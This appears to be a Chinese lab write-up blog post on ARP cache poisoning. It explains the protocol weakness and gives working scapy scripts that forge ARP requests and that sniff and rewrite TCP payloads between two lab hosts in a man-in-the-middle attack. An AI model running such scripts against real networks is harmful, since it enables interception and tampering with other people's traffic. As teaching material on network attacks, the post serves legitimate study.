zoukankan      html  css  js  c++  java
  • MAC与ARP缓存中毒介绍

    ARP 协议

    用于地址解析,请求MAC地址。

    image-20210106134003380

    arp -a 或者 -n 查看ARP缓存表

    image-20210105213737828

    ls(ARP) 查看scapy里的协议字段

    image-20210106141909538

    ARP缓存中毒原理

    ARP收到ARP请求报文,会将发送方的mac地址写入到自己的ARP缓存表。 --伪造ARP请求报文

    ARP无状态,无法判断响应是不是请求的结果,即使没有请求,也可以收到响应。

    即使不是对这个请求的响应,也会更新自己的cache。 --伪造ARP响应报文

    from scapy.all import *
    
    DS_MAC='FF:FF:FF:FF:FF:FF'
    DS_IP ='10.0.2.5'
    
    VIM_MAC='aa:bb:cc:dd:ee:ff'
    VIM_IP='10.0.2.99'
    
    e=Ether()
    e.dst=DS_MAC
    e.src=VIM_MAC
    
    a=ARP()
    a.op=1
    a.hwsrc=VIM_MAC
    a.psrc=VIM_IP
    a.hwdst=DS_MAC
    a.pdst=DS_IP
    
    frame=e/a
    sendp(frame)
    
    
    

    op为1表示请求包,响应包为2

    ARP 缓存中毒 实现中间人攻击

    image-20210106123324473

    注意:需要 sudo sysctl net.ipv4.ip_forward=0

    先进行ARP缓存的中毒,这样二者通信的数据包可通过攻击者,然后攻击者再进行修改TCP报文。

    from scapy.all import *
    
    def spoof_pkt(pkt):
            if pkt[IP].src=='10.0.2.4' and pkt[IP].dst =='10.0.2.5' and pkt[TCP].payload:
                data = pkt[TCP].payload.load
    
                newpkt = pkt[IP]
                del(newpkt.chksum)
                del(newpkt[TCP].chksum)
                del(newpkt[TCP].payload)
    
                newdata = data.replace(b'hello',b'hacker')
                newpkt = newpkt/newdata
                send(newpkt,verbose=0)
                
           elif pkt[IP].src=='10.0.2.5' and pkt[IP].dst == '10.0.2.4':
                newpkt=pkt[IP]
                send(newpkt,verbose=0)
                
                
    pkt = sniff(filter='tcp',prn=spoof_pkt)
    
    

    本文来自博客园,作者:PsgQ,转载请注明原文链接:https://www.cnblogs.com/PsgQ/p/14252347.html

    喜欢作者瓜皮的小伙伴,点点关注,投喂瓜皮,你的支持是我一直创作的动力

  • 相关阅读:
    160-三个用户同时登录,是怎么实现多线程的?
    159-如何解决缓存穿透?
    158-为什么会引发缓存穿透?
    存储emoji表情,修改字符集为utf8mb4
    java相差小时数
    pom.xml解释
    前端 跨域
    java 获取的是本地的IP地址
    是否超时
    发送验证码
  • 原文地址:https://www.cnblogs.com/PsgQ/p/14252347.html
Copyright © 2011-2022 走看看